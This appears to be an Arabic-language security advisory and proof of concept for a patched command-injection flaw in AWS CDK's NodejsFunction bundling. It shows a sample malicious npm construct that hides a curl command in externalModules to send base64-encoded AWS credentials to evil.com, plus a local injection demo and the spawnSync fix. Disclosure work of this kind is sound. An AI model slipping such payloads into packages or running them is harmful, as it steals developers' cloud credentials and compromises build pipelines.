شرح تقني وإثبات المفهوم (PoC) لـ CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) في NodejsFunction الخاص بـ AWS CDK.
المؤلف: هشام أشرف (@HeshamASH)
التاريخ: 10 يونيو 2026
الخطورة: عالية (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)
الحزمة المتأثرة: aws-cdk-lib (npm)، جميع الإصدارات السابقة لـ 2.245.0
البائع: خدمات أمازون ويب (AWS)
الحالة: تم التصحيح (PR #37292، PR #37412) | CVE: CVE-2026-11417 | النشرة: AWS-2026-041 | التنبيه: GHSA-999r-qq7v-r334
اكتشفت ثغرة حقن أوامر في AWS Cloud Development Kit (CDK) تسمح للمهاجم بتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) على أي جهاز يشغّل cdk synth — بما في ذلك محطات عمل المطورين وخطوط أنابيب CI/CD — عن طريق نشر حزمة npm ضارة أو إرسال طلب سحب (Pull Request) مفبرك.
كانت الثغرة موجودة لأن بنية NodejsFunction في aws-cdk-lib كانت تُدرج سلاسل يتحكم فيها المستخدم مباشرةً في أمر شل دون تعقيم، ثم تنفذه عبر bash -c / cmd /c. قامت AWS بتصحيح المشكلة عن طريق استبدال التنفيذ القائم على الشل بمصفوفات وسيطات spawnSync المباشرة.
AWS Cloud Development Kit (CDK) هو إطار عمل مفتوح المصدر واسع الاستخدام لتعريف البنية التحتية السحابية كرمز. يستخدمه عشرات الآلاف من المطورين وخطوط أنابيب CI/CD لتجميع ونشر مجموعات AWS CloudFormation.
بنية NodejsFunction هي واحدة من أكثر بنيات CDK من المستوى الثاني (L2) شيوعًا. تقوم بتجميع دوال Lambda بلغتي TypeScript/JavaScript باستخدام esbuild خلال مرحلة التجميع (cdk synth).
كانت بنية NodejsFunction أثناء التجميع المحلي تبني سلسلة أوامر شل عن طريق إدراج عدة خصائص يتحكم فيها المستخدم مباشرةً دون أي تعقيم:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (قبل التصحيح)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // لا تعقيم
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // لا تعقيم
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // المفتاح غير معقم
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // لا تعقيم
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // لا تعقيم
];
ثم يتم دمج المصفوفة في سلسلة واحدة وتمريرها إلى شل:
// يتم تمرير الأمر المجمع مباشرة إلى شل نظام التشغيل
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
سيتم تفسير الأحرف الوصفية للشل مثل &, ;, |, `, و$(...) داخل أي من الخصائص القابلة للحقن بواسطة الشل كفاصل أوامر، مما يتيح تنفيذ أوامر عشوائية.
| الخاصية | التعقيم | مستوى الخطورة |
|---|---|---|
externalModules | لا يوجد | حرج |
define (المفاتيح) | لا يوجد (القيم تستخدم JSON.stringify) | حرج |
loader (المفاتيح) | لا يوجد | حرج |
inject | لا يوجد | حرج |
esbuildArgs (المفاتيح/القيم) | لا يوجد | حرج |
هذه الثغرة خطيرة بشكل خاص لأن الحقن يحدث في طبقة تجميع CDK، وليس أثناء npm install. وهذا يعني أن إجراءات أمان npm القياسية مثل --ignore-scripts لا توفر أي حماية.
ينشر المهاجم حزمة npm تبدو شرعية تلتف حول NodejsFunction:
// منشورة كـ "convenient-lambda" على npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// حمولة مخفية بين externals التي تبدو شرعية
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
عندما يقوم المطور بتثبيت هذه الحزمة وتشغيل cdk synth، يقوم CDK ببناء:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
يقوم حرف & بتقسيم هذا إلى أمرين شل مستقلين:
npx esbuild --bundle handler.ts --external:lodash — يعمل esbuild بشكل طبيعيcurl https://evil.com/... — حمولة المهاجم تسرق بيانات اعتماد AWS| الدفاع | فعال؟ | لماذا |
|---|---|---|
npm install --ignore-scripts | لا | الحقن يحدث أثناء cdk synth، وليس أثناء تثبيت الحزمة |
مراجعة كود package.json | لا | الحمولة موجودة في كود TypeScript الخاص بالبنية، وليس في البرامج النصية |
| npm audit | لا | الحزمة لا تحتوي على ثغرات معروفة |
| سلامة ملف القفل (lockfile) | لا | الحزمة نفسها تم تثبيتها بشكل صحيح |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts مع حمولة الحقنimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# المخرجات: PWNED
تم إنشاء الملف pwned.txt، مما يؤكد تنفيذ أوامر عشوائية على المضيف.
spawnSync القائم على المصفوفةيستبدل الإصلاح الأساسي بناء سلسلة أوامر الشل بـ spawnSync المباشر باستخدام مصفوفات الوسيطات:
- // قبل: سلسلة أوامر يتم تفسيرها بواسطة الشل
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // بعد: مصفوفة وسيطات مباشرة (لا تفسير شل)
+ spawnSync(command, args, { /* لا شل */ });
هذا يلغي تفسير الأحرف الوصفية للشل تمامًا. نظام النوع الجديد BundlingStep يفصل بوضوح بين:
spawn: esbuild/tsc/install — تُنفذ عبر spawnSync المباشر مع مصفوفات الوسيطاتshell: commandHooks التي يوفرها المستخدم — تُنفذ عمدًا عبر شل (المستخدم يتحكم فيها حسب الاتفاق)fs: عمليات الملفات — لا مشاركة للشلعلى Windows مع Node 22+، فشل spawnSync المباشر لـ .cmd shims مع خطأ EINVAL. يقوم هذا PR بتوجيه خطوات spawn عبر powershell.exe مع powershellEscape() — وهي دالة تستخدم علامات اقتباس مفردة صارمة لكل وسيطة باستخدام آلية التعقيم الأصلية لـ PowerShell (مضاعفة علامات الاقتباس المفردة الداخلية)، ثم تسبق عامل الاستدعاء &.
تنفيذ الشل هو مؤشر على وجود مشكلة. أي مسار كود يقوم ببناء سلسلة ويمررها إلى bash -c أو cmd /c هو ثغرة حقن أوامر محتملة. يُفضل دائمًا استخدام spawnSync أو execFile القائمين على المصفوفة.
هجمات سلسلة التوريد تتجاوز دفاعات وقت التثبيت. npm audit و --ignore-scripts يحميان من البرامج النصية الضارة postinstall، لكن لا يمكنهما الحماية من الثغرات في الأدوات التي تعالج التبعيات في وقت البناء.
بنيات CDK هي كود موثوق. عندما يستورد المطور بنية CDK تابعة لطرف ثالث، فهو يثق ضمنيًا في أنها ستقوم بتكوين بنيته التحتية بشكل صحيح. يمكن لبنية ضارة استغلال هذه الثقة لحقن حمولات في خصائص التجميع التي تبدو كتكوين عادي.
تم اكتشافها والإبلاغ عنها بواسطة هشام أشرف (@HeshamASH). تم الإفصاح المنسق من خلال برنامج VDP التابع لـ AWS.